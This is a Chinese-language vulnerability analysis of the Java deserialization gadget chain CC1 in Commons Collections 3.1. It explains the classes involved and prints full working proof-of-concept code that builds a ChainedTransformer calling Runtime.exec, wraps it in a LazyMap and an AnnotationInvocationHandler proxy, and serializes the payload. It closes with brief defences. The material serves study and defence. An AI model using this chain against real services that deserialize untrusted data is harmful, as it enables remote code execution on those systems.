Java反序列化CC1-漏洞分析
字数 1454 2025-08-12 11:34:13
Java反序列化漏洞分析:Commons Collections 1 (CC1) 利用链详解
环境要求
- JDK版本:8u71以下
- Commons Collections版本:3.1
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
核心组件分析
Transformer接口体系
-
Transformer接口
- 核心方法:
Object transform(Object input) - 功能:将输入对象转换为输出对象
- 核心方法:
-
ConstantTransformer
- 实现Transformer接口
- 特性:构造时接收一个对象,transform()方法总是返回该对象
new ConstantTransformer(Runtime.getRuntime()) -
InvokerTransformer
- 实现Transformer接口
- 特性:通过反射调用指定方法
- 构造参数:
- 方法名
- 参数类型数组
- 参数值数组
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) -
ChainedTransformer
- 实现Transformer接口
- 特性:链式调用多个Transformer
- 执行流程:
- 接收Transformer数组
- 依次调用每个Transformer的transform()方法
- 前一个Transformer的输出作为下一个的输入
TransformedMap
- 功能:装饰Map对象,在修改Map时自动转换key/value
- 关键方法:
put()→transformKey()/transformValue()→transform()
- 利用点:通过恶意Transformer实现代码执行
LazyMap
- 功能:延迟加载Map,当key不存在时通过Transformer生成value
- 关键代码:
public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); // 触发点 map.put(key, value); return value; } return map.get(key); }
动态代理利用
AnnotationInvocationHandler
- 实现了InvocationHandler接口
- 关键方法:
- readObject()
- 反序列化入口
- 调用Map的entrySet()方法
- invoke()
- 代理对象方法调用时触发
- 会调用memberValues.get()方法
- readObject()
完整攻击链构造
步骤1:构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
步骤2:创建LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
步骤3:创建动态代理
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建AnnotationInvocationHandler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
// 创建代理Map
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler);
步骤4:构造最终Payload
Object payload = constructor.newInstance(Retention.class, proxyMap);
步骤5:触发反序列化
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(payload);
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发点
完整调用链
AnnotationInvocationHandler.readObject()Proxy.entrySet()(动态代理调用)AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()(多次)
- 最终执行
Runtime.exec("calc")
防御措施
- 升级JDK至8u71以上版本
- 升级Commons Collections至安全版本
- 使用反序列化过滤器
- 避免反序列化不可信数据
关键点总结
- Transformer链:通过ChainedTransformer将多个Transformer串联执行
- LazyMap触发:利用Map的get()方法触发Transformer链
- 动态代理:通过AnnotationInvocationHandler桥接readObject和Map操作
- 反射绕过:利用InvokerTransformer实现反射调用任意方法
此漏洞利用链展示了Java反序列化漏洞的典型模式:通过精心构造的对象图,在反序列化过程中触发一系列方法调用,最终实现任意代码执行。